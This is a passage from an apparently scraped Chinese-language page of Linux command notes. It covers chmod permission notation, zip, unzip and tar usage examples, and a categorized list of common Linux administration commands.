r 表示可讀取,w 表示可寫入,x 表示可執行,X 表示只有當該檔案是個子目錄或者該檔案已經被設定過為可執行。
chmod也可以用數字來表示許可權,語法為:chmod abc file,如chmod 777 file
其中a,b,c各為一個數字,分別表示User、Group、及Other的許可權。 r=4,w=2,x=1
chmod 777 file,等同於 chmod a=rwx file
chmod ug=rwx,o=x file,等同於 chmod 771 file
chmod 4755 filename,可使此程序具有root的許可權
ls -l 可以查看列出當前用戶的文件許可權
zip
zip -r filename.zip filesdir
zip -r test.zip ./_把當前所有文件壓縮到test.zip
zip -r test.zip test,把test文件所有文件及目錄,要是到test.zip
zip -d test.zip test.txt,刪除壓縮文件中test.txt文件
zip -m test.zip ./test.txt,向壓縮文件中test.zip中添加test.txt文件
zip -r test.zip file1 file2 file3 filesdir,處理多個文件和目錄,空格隔開
unzip
unzip zip-file,解壓到當前目錄
unzip -d dst-dir zip-file,解壓到指定的目錄,-d後為指定目錄
unzip -n zip-file,不覆蓋已經存在的文件,-n為不要覆蓋原有的文件
unzip -n -d dst-dir zip-file,解壓到指定的目錄,不覆蓋已經原有的文件
unzip -o -d dst-dir zip-file,-o不必先詢問用戶覆蓋原有文件
unzip -l zip-file,僅查看壓縮文件內所包含的文件
tar
tar cvf test.tar test,把test下所有文件和目錄做備份tar czvf test.tar.gz test,把test下所有文件和目錄做備份並進行壓縮tar xzvf test.tar.gz,把這個備份文件還原並解壓縮tar tvf test.tar | more,查看備份文件的內容,並以分屏方式顯示在 顯示器 上
tar czvf test.tar.gz test --exclude=test/svn,備份壓縮並排除目錄
touch
『拾』 linux運維必須知道的幾個常用命令
Linux是一個命令行組成的操作系統,精髓在命令行,無論圖形界面發展到什麼水平這個原理都是無法改變的,Linux命令有許多強大功能:從簡單的磁碟操作、文件存取以及復雜的多媒體圖像和媒體文件都會使用到命令。
Linux常用的命令有哪些?老男孩教育為大家總結一下:
安裝和登錄命令:login 、shutdown 、halt 、reboot 、mount 、umount 、chsh
文件處理命令:file 、mkdir 、grep 、dd 、find 、mv 、ls 、diff 、cat 、ln
網路操作命令:ifconfig 、ip 、ping 、netstat 、telnet 、ftp 、route 、rlogin rcp 、finger
、mail 、nslookup
系統安全相關命令:passwd 、su 、umask 、chgrp 、chmod 、chown 、chattr、sudo、pswho
系統管理相關命令:df 、top 、free 、quota 、at 、lp 、 adser 、groupadd kill 、 crontab 、tar、unzip 、gunzip 、last